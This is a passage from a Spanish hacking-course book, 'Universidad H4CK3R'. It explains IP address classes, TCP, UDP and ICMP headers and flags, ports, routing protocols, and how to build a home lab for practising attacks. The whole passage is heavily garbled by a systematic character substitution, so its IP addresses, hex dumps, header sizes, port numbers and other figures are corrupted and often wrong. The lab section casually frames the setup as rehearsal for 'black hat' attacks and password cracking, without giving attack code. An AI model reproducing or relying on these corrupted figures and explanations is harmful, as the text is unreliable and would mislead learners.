et$A Enc#'s!#ci2n "e En!#ceE Et$ernet
4irecci2n "e HW AAEA@E:KEL;E=KE8;
inet #""rEB >89B>=@B>B>>
Lro#"c#stE >89B>=@B>B9;;
MMsc#r#E 9;;B9;;B9;;BA
Puede haber, o no, ms informacin a)adida a la salida. /as direcciones 3P son definidas
por la interfa#. 2n el eemplo !ue se muestra 0una m!uina /inu51 muestra los datos de la
interfa# eth'. Si hubiera otra interfa# 0por eemplo eth11 e5istiran n%meros 3P para las dos
interfaces. <tro dato !ue aparece es la direccin ;".. Pero 7!u$ pasa con los otros dos
campos, +roadcast y ;scara8 Para descubrir para !ue sirven ambos, debemos entender
el concepto de clases de redes.
138
ikimilikiliklik Universidad H4CK3R
= Redes - ;er1idores
2l n%mero 3P se puede dividir en dos partes !ue identifican en !ue red est conectado y
su direccin %nica dentro de esa red. Por eemplo, la direccin 1B&.1JA.1.11, podramos
decir !ue es la red 1B&.1JA.1 y 11 representa el ordenador numero 11 conectado a esa
red.
Pero esperaG 7(nde termina el n%mero de red y dnde empie#a el n%mero de host8 Para
definir esto, se utili#a un nuevo elemento, la (Dscara de red. 2n la direccin de nuestro
eemplo, la mscara de red es &II.&II.&II.'. Para entender cmo esta mara)a de
n%meros puede separar algo, vamos a convertirlo todo en binario=
@KB.@HJ.@.@@ Z @@LLLLLL.@L@L@LLL.LLLLLLL@.LLLL@L@@
BGG.BGG.BGG.L Z @@@@@@@@.@@@@@@@@.@@@@@@@@.LLLLLLLL
"hora, slo hay !ue hacer una operacin lgica. 2l resultado de la operacin indica la red
0por lo !ue se denomina una mscara de red1. 2n la prctica, significa !ue todas las
posiciones de la mscara !ue tienen 1, indican !ue este bit de direccin pertenece al
n%mero de red. 2n nuestro eemplo, la red sera 1B&.1JA.1.'. nuestro host sera el n%mero
11 para identificarlo en esta red.
Pero, 7cmo introducir la mscara correcta8 Para ello, la direccin completa se divide en
clases. -o entraremos en detalles de por !u$ se dividi de esta manera por!ue es
irrelevante para nuestros propsitos. +asta saber !ue hay cinco clases de direcciones, y
cada una tiene la siguiente configuracin=
/as cifras en los cuadros anteriores representan la posicin de los bits en la direccin.
Vemos !ue las direcciones de clase C"D tienen &? bits reservados para las m!uinas y
slo A bits para las redes. 2sto nos da &IJ redes diferentes, cada una con ms de 1J
millones de hosts. 2n el caso de la clase C.D, tenemos e5actamente lo inverso= 1J
millones de redes, cada una con &IJ direcciones de host posible. 2n la .lase C+D es
cincuentaFcincuenta= JI.I9J n%meros de cada lado.
(ependiendo de la aplicacin, se utili#a uno u otro espacio de direcciones. Haciendo
cuentas, y teniendo en cuenta los bits iniciales de las clases 0!ue nunca cambian1,
tenemos el siguiente desglose=
139
ikimilikiliklik Universidad H4CK3R
.lase C"D= 1.'.'.' del 1&J &II &II &II
.lase C+D= desde 1&A.'.'.' a 1B1 &II &II &II
.lase C.D b 1B&.'.'.' al &&9 &II &II &II
7-o he hablado cinco clases8 S, pero las otras dos no tienen divisin de host y redes. /a
clase C(D contiene las direcciones llamadas de C;ulticastD. ;ientras !ue una direccin 3P
es %nica en toda la red, puede haber varias m!uinas con la misma direccin CmulticastD.
Se utili#a para enviar pa!uetes comunes a todas estas m!uinas. Mue creado con la idea
original de soportar streaming de audio y vdeo. Se puede identificar una direccin de
;ulticast por los bits iniciales 111', o en decimal, &&?. /a clase C2D se reservo para uso
futuro, pero nunca fue utili#ada. .on la llegada de 3PvJ, probablemente nunca lo har.
.omien#a con 1111 en binario, o &?' en decimal.
6odava falta descubrir lo !ue es C+roadcastD. Para ello, veamos algunas convenciones.
2n general, las interfaces de red consideran el valor 4todos ceros4 en la direccin como la
palabra 4este4 y 4todo unos4 como 4todo4. Necordando !ue los bits de cada uno de los
cuatro bytes de la direccin 3P, 4todo ceros4 est representado por ' y 4todo unos4 por
&II, tenemos=
F '.'.'.' F 2sta red
F a.b.'.' la red a.b
F '.'.5.y 2stacin de 5.y en esta red
F &II &II &II &II F 6odas las estaciones
F a.b.&II.&II k F 6odas las estaciones de la red a.b
Volvemos a la direccin de C+roadcastD !ue hemos visto en CtcpdumpD, 1B&.1JA.1.&II.
Hemos visto !ue, al aplicar la mscara de red, conseguimos la direccin 1B&.1JA.1.'.
2sta es la direccin de red 1B&.1JA.1. 2l cero al final de la direccin indica esto, luego,
podramos decodificar 4esta red llamada 1B&,1JA.14. Poniendo el &II al final de la
direccin de +roadcast 04todo unos41 significa 4todas las m!uinas en la red 1B&.1JA.1.4
Vaya, no era tan difcil ...
Protocolo ECP
2l compa)ero inseparable de 3P es la gran estrella de 3nternet, el protocolo 6.P. .omo la
mayora de los servicios disponibles estn basados en $l, debemos tener una idea de
cmo se ensambla y cmo se comporta el pa!uete 6.P, para entender cmo trabaan los
ata!ues a estos servicios.
= 5l 7a+uete ECP
.omo vimos en Nedes 3, y seguidamente en el captulo sobre :ni5, todos los servicios de
3nternet !ue usamos F H66P, S;6P, P<P, 3.E, Sa,a" F estn 4escuchando4 a la red y
esperando una cone5in para si. 2sta cone5in se lleva a cabo a trav$s de puertos, !ue
son n%meros asignados a los servicios en cuestin y dependen del protocolo utili#ado. 2l
puerto est representado por una cifra de A bits, as !ue tenemos JI IJ9 servicios
posibles !ue utili#an el protocolo 6.P para escuchar en la red. :n eemplo clsico es una
140
ikimilikiliklik Universidad H4CK3R
seccin del correo electrnico. .uando se conecta al servidor S;6P a trav$s del puerto
6.P &I, nuestro programa favorito 0los autores utili#an 2udora, S;ail1 recibe una cadena
como esta=
HELO smt'Bs"ominioBcomB/r
MAIL FROME s#rio>Ns"ominioBcomB/r
RC,T TOE "estin#t#rioN'rove"orBcomB/r
4ATA
4#teE MonO A: A'r 9AA< >9E>=E<; +A;AA -EST0
FromE P
.ada mensae contiene un encabe#ado como este y varios kbytes 0a veces ;+bytes,
dependiendo de cuntos das no se compruebe el correo ...1. .omo cual!uier tonto puede
ver 0hey, puedo verG1, es imposible transportar todos los datos de su correo electrnico 0o
una pgina Oeb, Sa,a" o ;P91 en un %nico pa!uete 6.P. Por lo tanto, la fragmentacin
es el principal mecanismo del Protocolo.
2l encabe#ado 6.P tiene generalmente &' bytes y parece a esto=
Puerto de origen 01J1 Puerto de destino 01J1
-%mero secuencial 09&1
-%mero de reconocimiento 09&1
6ama)o 0?1 Neservado 0J1 Mlags0J1 6ama)o de la ventana 01J1
Verificador de 6.P01J1 Puntero de urgencia 01J1
<pciones 0si procede1 /lenado
(atos
/os campos, C"A(ero secuencial, C"u(ero de reconoci(iento* 8a(a4o* Tpciones*
'lenado + >atos tienen aplicaciones id$nticas a las del protocolo 3P. /os dems
campos tienen una aplicacin especifica para el protocolo 6.P y uno de ellos, CFlags, es
lo !ue hace !ue el protocolo funcione F y lo !ue los hackers utili#an para atacar3o.
Vamos a continuar el anlisis de bits. /a salida de CtcpdumpD, !ue utili#amos para estudiar
el pa!uete 3P, era=
141
ikimilikiliklik Universidad H4CK3R
;ira los datos dentro del marco. 2ste es el campo de datos del pa!uete 3P. Pero
recuerde= el pa!uete 6.P esta 4envuelto4 dentro del 3P, entonces si separamos los
primeros &' bytes del campo de datos 3P tenemos la cabecera 6.P.
A/A< AA;A :@;c KfcA ::## ce@/ @A>A >89A c8/= AAAA
/os & primeros bytes indican el puerto de origen. 'b'9 es &A1B en decimal. 2s un puerto
superior a 1'&? o no privilegiado, lo !ue indica !ue el pa!uete probablemente provena de
un softPare cliente. 2l destino de puerto, ''I', es A' en decimal. Por lo tanto, se puede
deducir !ue este pa!uete=
F Mue creado por un navegador Peb, como ;o#illa.
F Se dirige a un servidor Oeb, en este caso el "pache de Treenpeace.org
<tros campos tambi$n son reveladores,
F "A(ero de secuencia6 IJG1 EfcL. 2l n%mero secuencial en 6.P no se presta, apenas, a
la fragmentacin. 2l protocolo 6.P controla el orden en !ue los pa!uetes se reciben y los
ordena en destino, si estn desordenados. Por otra parte, si un pa!uete tarda en llegar, la
m!uina de destino hace con la m!uina del cliente lo mismo !ue hacemos en el
;c(onaldYs pedir n%mero.
! "A(ero de 7econoci(iento6 ceJ% IIaa. 2l e!uipo de destino de los pa!uetes, siempre
devuelve un n%mero de reconocimiento de un pa!uete recibido previamente. 2ste
n%mero es secuencial del pa!uete recibido U 1.
! 'ongitud del enca%eNado6 I
! Flags6 L@L o en binario '1''''. /os flags estn en orden, :NT, ".S, PSH, NS6, S*- y
M3-. 2n este eemplo, vemos !ue el indicador ".S est encendido.
! 8a(a4o de la ventana6 @KBL, en decimal J?9&. 2s la m5ima cantidad de bytes !ue la
fuente puede manear.
! Uerificador6 cK%H. 2s la suma de comprobacin del pa!uete 6.P.
! Indicador de e(ergencia6 LLLL. 2l protocolo 6.P permite !ue ciertos datos en el
pa!uete se 4salten la cola4 y se procesen en primer lugar. 2l flag :NT indica !ue los
datos e5isten, y el puntero indica la posicin, dentro del rea de datos, en los !ue estos
pa!uetes se encuentran. 2n nuestro pa!uete de eemplo, no hay datos urgentes para
procesar.
= Puertos ECP
Se dice !ue el 6.P es un protocolo orientado a cone5in. 2sto significa !ue no importa
los caminos por los !ue ande el pa!uete 3P= para 6.P no e5iste un 4mundo e5terior4. 2l
6.P crea un canal virtual entre el origen y el destino, y este canal es inmune a las
influencias e5ternas. /a alegora del ca)n es perfecta= 6.P crea una tubo entre el origen
y la aplicacin de destino, y las dos partes 4hablan4 por $l. Euien mire por un borde no
ver cables, routers, 3Ps, 2thernet, taretas de red, nada de eso. Solo vera a su
compa)ero de cone5in al otro lado. 2sta cone5in slo es posible por!ue e5iste el
concepto de puertos.
Vamos a divagar un poco. :sted debe haber ido a un bar o restaurante donde la cocina
142
ikimilikiliklik Universidad H4CK3R
est arriba y hay montacargas para los diferentes tipos de artculos !ue se ofrecen en el
men%. /as bebidas no pueden viaar en el mismo montacargas !ue los platos calientes
por!ue se calientan. 2stos no deben circular en el mismo entorno !ue las ensaladas,
por!ue las marchitara y posiblemente las deara grasientas. Por no hablar de los postres.
Hipot$ticamente, necesitamos por lo menos cuatro ascensores.
"dems, todas las mesas estn numeradas. Si consideramos !ue los camareros son los
pa!uetes 3P, las co(andas pueden servir como pa!uetes 6.P. .ada mesa 4conecta4 con
un ascensor a trav$s de CcomandaL6.PD. /a mesa &J se puede conectar al ascensor ? y
esperar un postre, la mesa 91, al ascensor 9 y esperar espaguetis a la Vongola.
6enga en cuenta !ue cada uno de los ascensores en el restaurante presta un servicio
diferente. Si la parea de la mesa ? desea un servicio completo, tendr !ue conectarse en
orden a los ascensores 1, &, 9 y ?. 2l caf$ es un eemplo de un servicio alternativo !ue
viene por la puerta de otro, por el ascensor de postres. * la cuenta viene a trav$s de una
puerta desconocida y misteriosa 0no viene de ning%n ascensor1, estoy pensando !ue es
una puerta trasera >
Volviendo al campo de los ordenadores, se puede asignar cual!uier puerto a cual!uier
servicio. Sin embargo, hay sugerencias para el uso de ellos, todas las referencias estn
en NM.1@''. Por eemplo, el puerto A' es por lo general destinados a servidores Oeb o
H66P. .uando se abre una pgina Oeb y no se especifica la puerta, su navegador intuye
!ue debe usar el puerto A'. Puede configurar un servidor Oeb y asignar3e el puerto
1&9?I, si lo desea. Sin embargo, debe informar a todos los clientes !ue el servidor utili#a
este puerto.
:na sesin 6.P se parece a esto=
-ota= el puerto del cliente es lo !ue llamamos de alta o no privilegiados. 2s mayor !ue
1'&? y por lo general es proporcionado por el sistema operativo, !ue no utili#a un puerto
fio para cada aplicacin, si no el puerto mas cercano !ue este disponible. 2l puerto del
servidor es lo !ue llamamos de baa o alta prioridad . 2stos puertos, a diferencia de los
clientes, son definidos por el 326M y normali#ados por NM.1@''. Piense en los servicios
ms comunes !ue se utili#an en 3nternet= M6P, S;6P, (-S y puertas H66P. Sus puertos,
de acuerdo con NM.1@'', son, respectivamente, &1, &I, I9 y A'. 2cha un vista#o a la
lista completa en PPP.ietf.orgLrfc.htm3.
Hay una manera fcil de ver !u$ puertos estn siendo utili#ados. 2l comando Cnetstat,
presente tanto en OindoPs como :ni5, muestra todos los aspectos del estado de la
cone5in del ordenador a la red. 6eclear el comando sin argumentos mostrar todas las
cone5iones activas 0voy a utili#ar un eemplo de OindoPs, esta ve# para no me llame
radical1=
143
ikimilikiliklik Universidad H4CK3R
"hora int$ntelo con las opciones CFnaD. /a opcin CnD le dice a CnetstatD para no resolver
los nombres de los sitios y servicios, mostrndolos cmo n%meros 3P y n%meros de
puerto. <bserve la columna Cdireccin localD. /os miles inmediatamente despu$s del signo
4=4 son los puertos por los !ue las aplicaciones cliente 4escuchan4 y hablan con los
servidores. 2n la Cdireccin e5ternaD, observe !ue los servicios estn siendo
proporcionados por un puerto privilegiado= netbiosFssn 019B1, http 0A'1 y ftp 0&11. /os otros
dos estn 4escuchando4en puertos altos.
.omo veremos en captulos posteriores, averiguar !u$ puertos estn activos en nuestro
ordenador es esencial para !ue identifi!uemos posibles actividades de los hackers
maliciosos. Por otro lado, conocer los puertos comunes y las herramientas !ue las
manean, pueden facilitar las cosas a estos hackers.
= 6os &its de control ECP
Para la mayora de las aplicaciones, los bits de control del protocolo 6.P son una parte
importante de los trabaos de cone5in y transporte. .ada uno de estos seis bits en el
campo CMlagsD del pa!uete 3P tiene una funcin especfica e importante en el
establecimiento, control y gestin de sesiones. 2n el captulo &, Nedes 3, nos referimos a
ellos de forma rpida=
.asi todas las t$cnicas de escaneo de puertos hacen uso de los signos 0o flags1 6.P,
:(P o pa!uetes 3.;P intercambiados entre los programas !ue se !uieren conectar. Slo
como referencia rpida, las se)ales son estas, en el orden en !ue aparecen en los Mlags=
F :NT 0urgente1 X Se)ali#ador de urgencia_
F ".S 0reconocimiento1 F 3ndica !ue los pa!uetes anteriores han sido aceptados en el
destino_
F PSH 0Push1 F :na especie de 4vlvula de seguridad4, acelera la transmisin para poder
terminar3a_
F NS6 0reset1 F Para la cone5in debido a errores o 4cada de la lnea4_
F S*- 0sincroni#ar1 X 3ntenta la sincroni#acin entre los puertos_
F M3- 0final1 F Minal de cone5in, utili#ado al final de la transmisin 0no hay ms datos1_
Sin los indicadores de control, ninguna relacin puede establecerse o mantenerse. Para
ello, el 6.PL3P utili#a un saludo en tres pasos bsicos, !ue abre la sesin de
comunicacin y sincroni#a entre los dos puertos los n%meros de secuencia de pa!uetes
6.P. <bserve=
144
ikimilikiliklik Universidad H4CK3R
:semos el eemplo ms tpico de todos= un servidor Peb. 2l e!uipo cliente !uiere
conectarse al servidor y conseguir de el la pgina principal, Cinde5.phpD. 2l cliente enva
un pa!uete 6.P al servidor por el puerto A' con el flag S*- activado y con un n%mero
secuencial !ue marcar el inicio del intercambio de datos. 6odos los pa!uetes !ue salen
del cliente hacia el servidor ser secuencias en relacin a este primero, !ue abreviado es
S2E
.
. 2l servidor 0si es !ue est escuchando en ese puerto1 responder con dos flags
activados= el ".S, indicando !ue reconoci y acept el pa!uete enviado, y un S*- nuevo,
solicitando !ue el cliente acepte el n%mero secuencial 0llam$mosle el S2E
S
1, 2l campo,
n%mero de reconocimiento !ue va hacia el cliente tiene S2E
.
y en el campo de n%mero
secuencial, S2E
S
. 2l cliente responde con un ".SUS2E
S
, !ue indica !ue puede iniciar la
transferencia de datos sin problemas.
(ebido a !ue ambas partes conocen el n%mero de secuencia de la otra, es fcil pedir el
reenvo de pa!uetes perdidos y ordenar los pa!uetes en el destino. -o es e5tra)o !ue los
desordenados, indisciplinados y descarados pa!uetes 3P decidan caminar a trav$s de
diferentes lugares de 3nternet y lleguen a su destino en un orden diferente al estipulado.
7Eu$ sucede cuando, en medio de la carga de la pgina, clicas en el botn C(etenerD en
tu navegador8 2n este momento, el softPare en cuestin enva un pa!uete 6.P al
servidor con el flag M3-, como para decir 4puedes parar !ue no !uiero ugar ms4. 2l bit
NS6 se utili#a para cortar cone5iones problemticas, negar intentos no autori#ados o
incompletos de cone5in 0por eemplo, una puerta !ue no e5iste1 y liberar la puerta en
cuestin, si estuviera en uso.
2sta es la parte ms importante de nuestros estudios sobre el protocolo 6.PLlP. /os
hackers utili#an mucho los flags 6.P para hoear nuestras cone5iones y, en funcin de las
respuestas !ue devuelve el sistema operativo, calcular o intuir !ue puerta est abierta o
cerrada, si hay o no proteccin por firePall y si e5iste alguna vulnerabilidad detectada por
este proceso.
Protocolo UJP
2l 6.P es 4u)a y carne4 con 3P, y untos son 4la bestia de carga4. /a mayora de los
servicios ofrecidos en 3nternet se basan en el d%o dinmico 0PoP, !ue mal uego de
palabras ...1. Pero hay otro protocolo !ue puede ser considerado 4hermano de pecho4, de
3P.
Hay situaciones en las !ue toda la parafernalia de verificaciones llevadas a cabo por 6.P
no son necesarias. 2n la mayora de estos casos, pueden incluso ser un obstculo.
.uando se descarga un programa de 3nternet o m%sica a trav$s de Sa,a" 0sin piratearlo,
propioG1, !ueremos !ue est$n ntegros, de lo contrario no podramos utili#ar3os. Pero
145
ikimilikiliklik Universidad H4CK3R
cuando usted est escuchando la radio o de vdeo a trav$s de 3nternet, el orden de los
pa!uetes e incluso su fiabilidad ya no son tan necesarios.
2s en este conte5to entra en escena el C:ser (atagram ProtocolD. .omo su nombre
indica, el datagrama :(P es configurable por el usuario. Su cabecera es muy simple, y
corresponde al propio programa establecer las normas y la informacin de cone5in para
el intercambio entre las partes. .om%nmente se usa el t$rmino Cno es de fiar para
describirlo, por!ue no tiene forma de recuperacin de errores, pero eso es mentira. 2l
:(P se utili#a para numerosos casos en !ue las opciones de estabilidad de 6.P son
todava insuficientes, por lo !ue deben aplicarse directamente en la aplicacin.
2l pa!uete :(P no tiene ning%n campo de control, secuencia y reconocimiento. (ado !ue
no se puede establecer una cone5in con el 6.P, por!ue no hay protocolo de saludo, se
dice !ue :(P no esta orientado a la cone5in. <, usando la erga informtica inglesa,
connectionless..
Volviendo a nuestro streaming, la falta de un pa!uete :(P cual!uiera, representa una
mancha en la imagen en streaming !ue pasa desapercibida por la velocidad con la !ue se
pone otra imagen en su lugar. .omparando, la demora !ue causaran todos los controles
del pa!uete 6.P haran el vdeo muy desagradable de ver. :n pa!uete :(P se parece a
esto=
Puerto :(P de origen 01J1 Puerto :(P de destino 01J1
6ama)o de datos 01J1 .hecksum01J1
(atos
Vemos !ue el pa!uete :(P es taca)o en recursos de red. Su cabecera apenas tiene A
bytes, en comparacin con el 6.P !ue tiene &' o ms.
Protocolo IC4P
2l personal !ue desarroll la familia de 6.PL3P no dio punto sin hilo. :na de las meores
cosas para el control y se)ali#acin de eventos y los problemas en las redes 3P es el
C3nternet .ontrol ;essage ProtocolD. Su funcin es la de enviar comandos simples a las
interfaces de red y routers para !ue hagan algo o respondan a su estado. "demas de ser
utili#ado automticamente por las interfaces y routers, es una herramienta muy
interesante para el administrador, para solucionar problemas de la red. /os hackers
tambi$n adoran los recursos !ue 3.;P proporciona para descubrir la topologa de nuestra
red >
2l 3.;P es un protocolo de nivel 9 0ups, tenemos !ue ponerlo antes !ue el 6.P, 7no8
+ueno, pensamos !ue, didcticamente, estara meor a!u1. /a cabecera 3.;P es
literalmente la misma !ue la de 3P, pero en el campo de los protocolos, en lugar de los J
del 6.P o los 1@ del :(P, ponemos 1. 2n el campo de datos del pa!uete 3P se inserta en
el un campo de control, llamado C3.;P 6ype MieldD, !ue identifica el tipo de mensae !ue
3.;P va ha transportar. 2stos cdigos tambi$n se definen por la 326M en 0adivine. ..1 la
146
ikimilikiliklik Universidad H4CK3R
NM.1@'' y se muestran en la siguiente tabla=
F ' 2cho Neply lNM.@B&m
F 1 :nassigned lZ+Pm
F & :nassigned lZ+Pm
F 9 (estination :nreachable lNM.@B&m
F ? Source Euench lNM.@B&m
F I Nedirect lNM.@B&m
F J "lternate Host "ddress lZ+Pm
F @ :nassigned lZ+Pm
F A 2cho lNM.@B&m
F B Nouter "dvertisement lNM.1&IJm
F 1' Nouter Se1ection lNM.1&IJm
F 11 6ime 25ceeded lNM.@B&m
F 1& Parameter Problem lNM.@B&m
F 19 6imestamp lNM.@B&m
F 1? 6imestamp Neply lNM.@B&m
F 1I 3nformation Ne!uest lNM.@B&m
F 1J 3nformation Neply lNM.@B&m
F 1@ "ddress ;ask Ne!uest lNM.BI'm
F 1A "ddress ;ask Neply lNM.BI'm
F 1B Neserved 0for Security1 lSolom
F &'F&B Neserved 0for Nobustness 25periment1 l,Sum
F 9' 6raceroute lNM.19B9m
F 91 (atagram .onversion 2rror lNM.1?@Im
F 9& ;obile Host Nedirect l(avid Zohnsonm
F 99 3PvJ OhereF"reF*ou l+ill Simpsonm
F 9? 3PvJ 3F"mFHere l+ill Simpsonm
F 9I ;obile Negistration Ne!uest l+ill Simpsonm
F 9J ;obile Negistration Neply l+ill Simpsonm
F 9@F&II Neserved lZ+Pm
/os tipos de mensaes 3.;P aparecen en el siguiente formato=
*#!or "e mens#Des Qreferenci#RB
"lgunos tipos de mensaes necesitan parmetros para trabaar. <tros, devuelven valores
!ue informan del estado de los ensayos reali#ados. 2l campo en el !ue esos valores se
guardan, poco despu$s del CService 6ypeD, se llama C.ode +yteD. "lgunos valores
importantes para el C.ode +yteD son=
9 (estination :nreachable lNM.@B&m
.odes
' -et :nreachable
1 Host :nreachable
& Protocol :nreachable
147
ikimilikiliklik Universidad H4CK3R
9Port :nreachable
? Mragmentation -eeded and (onYt Mragment Pas Set
I Source Noute Mailed
J (estination -etPork :nknoPn
@ (estination Host :nknoPn
A Source Host 3solated
B .ommunication Pith (estination -etPork is "dministratively Prohibited
1' .ommunication Pith (estination Host is "dministratively Prohibited
11 (estination -etPork :nreachable for 6ype of Service
1& (estination Host :nreachable for 6ype of Service
I Nedirect lNM.@B&m
.odes
' Nedirect (atagram for the -etPork 0or subnet1
1 Nedirect (atagram for the Host
& Nedirect (atagram for the 6ype of SerVice and -etPork
9 Nedirect (atagram for the 6ype of Service and Host
11 6ime 25ceeded lNM.@B&m
.odes
' 6ime to /ive e5ceeded in 6ransit
1 Mragment Neassembly 6ime 25ceeded
1& Parameter Problem lNM.@B&m
.odes
' Pointer indicates the error
1 ;issing a Ne!uired <ption lNM.11'Am
& +ad /ength
+us!ue las NM. indicadas y estudie el significado de cada uno de los signos y cdigos.
Vale la penaG
6a&oratorio de Redes II
2n el captulo Nedes 3 se citaron los e!uipos necesarios para montar una red simple con
dos computadoras utili#ando un cable de cone5in cru#ada, por lo general llamado 4cable
cru#ado4. -uestro principal obetivo fue el montae de una red dom$stica, sin necesidad
de utili#ar e!uipos ms compleos, tales como concentradores, puentes, sPitches y
routers, aun!ue hemos visto algunas de las definiciones de esos dispositivos.
Para llevar a cabo muchos de los e5perimentos sugeridos en los captulos siguientes,
tenemos !ue preparar una red de prueba un poco ms elaborada. Por supuesto, debe
estar aislada de la red de produccin, pero debe tener alguna cone5in a 3nternet. /as
ventaas de tener un ambiente controlado para hacer sus pruebas son evidentes=
F -o hay peligro de da)os a la ma!uinaria de produccin o de uso frecuente_
F (el mismo modo, su red corporativa estar segura_
148
ikimilikiliklik Universidad H4CK3R
F :sted puede 4ugar4 a gusto con las herramientas y e5ploits mostrados_
F Si !uieres ser un Cblack hatD, puedes probar antes de los ata!ues_
F /a construccin de una red pe!ue)a, puede ser una e5celente higiene mental_
F Podr hacer campeonatos de (oom despu$s de 4las horas de clase4 _F1.
2l hardPare necesario es barato. Por lo menos tres m!uinas Pentium 199 o superior con
J? ;+ de N"; y ? T+ de espacio en disco. /as m!uinas en !ue se eecutarn los
sistemas :ni5 para P. todava necesitan menos recursos X un vieo ?AJ o incluso 9AJ
pueden servir muy bien. .ada m!uina debe tener una tareta de red barata, pero !ue sea
compatible con todos los sistemas operativos !ue utili#amos. 2stas m!uinas se pueden
encontrar usadas, por menos de ^&'' cada una, en las 4chatarrerias tecnolgicas4 !ue
e5isten en casi todo +rasil. 6enga en cuenta !ue no todas las m!uinas deben tener
monitor.
Para la red, tambi$n se utili#a un concentrador, usado y de bao costo puede servir.
(ebido a !ue el rendimiento no es un problema a!u 0al contrario, cuanto ms lenta la red,
meor pueden ser evaluados los mensaes de intercambio1, cual!uier ChubD, incluso
pasivo, servir. 6ro#os de cable de par tren#ado categora I o 9, se puede encontrar
incluso en la basura de las empresas o comprar muy barato en las mismas tiendas de
chatarra.
6odo este hardPare de red se merece un buen sistema operativo para !ue funcione. 2lia
la ma!uina mas potente e instale en ella varias versiones de OindoPs en m%ltiboot= BA
S2, ;e, &''' y KP son una e5celente opcin. "ctualice todas las revisiones y los Service
Pack. 2sta m!uina se utili#ara para los ata!ues utili#ando herramientas para OindoPs y
para sufrir los ata!ues dirigidos a las m!uinas con esas plataformas.
2n otra m!uina, instala un OindoPs -6 ?, <pen+S(, Mree+S( ?.I y una opcin del
kernel de /inu5 &.& y &.?. -o instale ning%n Service Pack o actuali#acin. 2ste ser el
4pobre4.
2n el e!uipo ms d$bil, instalar las %ltimas versiones de kernel &.? de /inu5 y <pen+S(.
Ser el origen de los ata!ues :ni5. /as versiones P. :ni5 reducidas al mnimo van bien
en m!uinas antiguas.
Por %ltimo, vamos a establecer una
cone5in a 3nternet. :na no, cuatro.
6enemos !ue configurar las dos
m!uinas como puertas de acceso
para garanti#ar una cone5in de alta
velocidad, por eso ambas tienen
taretas de red. 2l router de acceso
rpido puede ser 4enchufado4 a la
m!uina !ue permita el acceso para
este test.
.omo vamos a ugar a COar (ialersD,
tambi$n necesitamos mdems de
acceso telefnico. .ada e!uipo debe
tener el suyo. 2l diagrama de esta red
149
ikimilikiliklik Universidad H4CK3R
un poco complicada, se parecera a la imagen.
2l e!uipo necesario es entonces=
F 9 ordenadores Pentium 199 o ?AJ con la memoria y el disco apropiados_
F & mdems de acceso telefnico_
F I taretas de red_
F :n hub l'+ase6 baratos_
F /os cables :6P cat 9 o superior_
F /os sistemas operativos mencionados.
Si utili#a cables coa5iales y adaptadores, puede descartar el ChubD, pero la red no seria
fcilmente ampliable. 2sto es interesante por!ue en el futuro, podemos construir un
conunto compuesto por varios 9AJ comprados en el vertedero !ue untos formen una
supercomputadora para crackear contrase)as.
.omo beneficio adicional, al final de este captulo se recogen algunos datos acerca de las
tecnologas de 3nternet !ue pueden ser de inter$s. 2s slo una referencia rpida= hay ms
detalles en la literatura disponible en 3nternet y en los buenos libros
5nrutamiento
Para !ue el router pueda direccionar los datos entre las diferentes rutas de las redes
interconectadas, se utili#an los llamados protocolos de enrutamiento. "dems, los
dispositivos tambi$n vienen e!uipados con una tabla de enrutamiento, responsable de
identificar las rutas !ue seguirn los datagramas. Si el router no conoce el camino por el
cual el datagrama debe pasar, se los enva a un enrutador !ue figura como puerta de
enlace predeterminada 0ruta por defecto1 para proseguir su camino desde all.
2l protocolo de enrutamiento funciona de dos maneras, indicando el ca(ino (Ds corto, lo
cual no significa !ue sea el meor, y luego informando del (ejor ca(ino, !ue no siempre
es el ms corto. /a mayora de las veces, el meor camino es el menos congestionado, ya
!ue el camino ms corto suelen hacer frente a muchas peticiones a la ve#. 2ntre los
protocolos de enrutamiento, veremos los relacionados con 6.PL3P, !ue son los ms
utili#ados, veremos el <SPM 0<pen Shortest Path Mirst1 y el N3P 0Nouting 3nformation
Protocol1.
TS2F
<SPM es un protocolo abierto !ue se basa en los enlaces utili#ados por 6.PLlP. \l es
capa# de testar el estado de otros routers conectados, a trav$s de un mensae
denominado 4hola4, !ue se enva a cada uno, y si el router contactado est funcionando
enva un mensae positivo, la falta de respuesta significa !ue el e!uipo no est en el aire.
6ambi$n tiene el enrutamiento basado en el tipo de servicio, !ue elige la meor ruta para
el datagrama basado en la prioridad del datagrama en cuestin.
/a cabecera <SPM se compone de=
Uersin F Versin de protocolo_
8ipo F 6ipo de mensae, puede ser= hola, descripcin de base de datos, solicitud de estado
de enlace, actuali#acin de estado de vnculos, confirmacin de estado de vnculos_
150
ikimilikiliklik Universidad H4CK3R
I2 del router de origen F 3ndica la direccin 3P del router !ue enva el mensae_
;rea F 3ncluso en las #onas !ue el mensae se refiere 0en las redes <SPM puede ser
dividido en #onas1_
13ec/su(= Suma de comprobacin del mensae_
8ipo de autenticacin F 3nformacin sobre la contrase)a_
;utenticacin F Si hay contrase)a.
7I2
N3P hace !ue los routers enven sus tablas de enrutamiento cada 9' segundos a los otros
routers, lo !ue provoca una constante actuali#acin de las tablas sobre la base de otros
routers. :no de los mayores problemas encontrados en este protocolo es !ue establece el
camino a seguir sobre la base de la distancia al receptor, sin tener en cuenta las
condiciones y el rendimiento de la ruta a recorrer.
/os mensaes N3P tienen los siguientes elementos=
1o(ando F Se utili#a para identificar si el mensae es una peticin o una respuesta_
Uersin F ;uestra la versin del protocolo_
7eservados F Hay varios campos marcados como reservados, y todos ellos estn llenos
de ceros_
2rotocolo F (ice !ue protocolo se ha utili#ado para generar direcciones_
>ireccin I2 F (ice cual es la 3P de la red de cuya distancia se informa en el mensae_
>istancia F (eterminar la distancia hasta la red en el campo de direccin 3P.
Internet
2n 1BJB, naci 3nternet. 2sta puede ser considerada como una de las historias ms
contadas en el mundo digital, pero nunca est de ms recordar el origen de uno de los
grandes frutos de la humanidad. /a intencin era vincular a los laboratorios de
investigacin de -orteam$rica "NP" 0"dvanced Nesearch Proects "gency1, con miras a
la estabilidad de todo el sistema si algo le suceda a uno de sus terminales. Podemos
decir !ue otro avance de la humanidad naci unido a las intenciones militares, todo por
culpa de la guerra fra.
Poco a poco, la red se fue e5pandiendo a las universidades y laboratorios, y con el tiempo
termin ganando el mundo. -o hay un lugar central donde se encuentra 3nternet, son ms
de ?' ''' redes repartidas por todo el mundo, todas ellas basadas en 6.PL3P. -o es de
e5tra)ar !ue se hiciese tan popular, como hemos dicho antes.
/a Ned ;undial de computadoras, tambi$n llamada OOO 0Oorld Oide Oeb1, se
compone de redes de alta capacidad, !ue a su ve# estn conectadas a computadoras
muy potentes conocidas como +ackbones 0columna vertebral1 con gran ancho de banda.
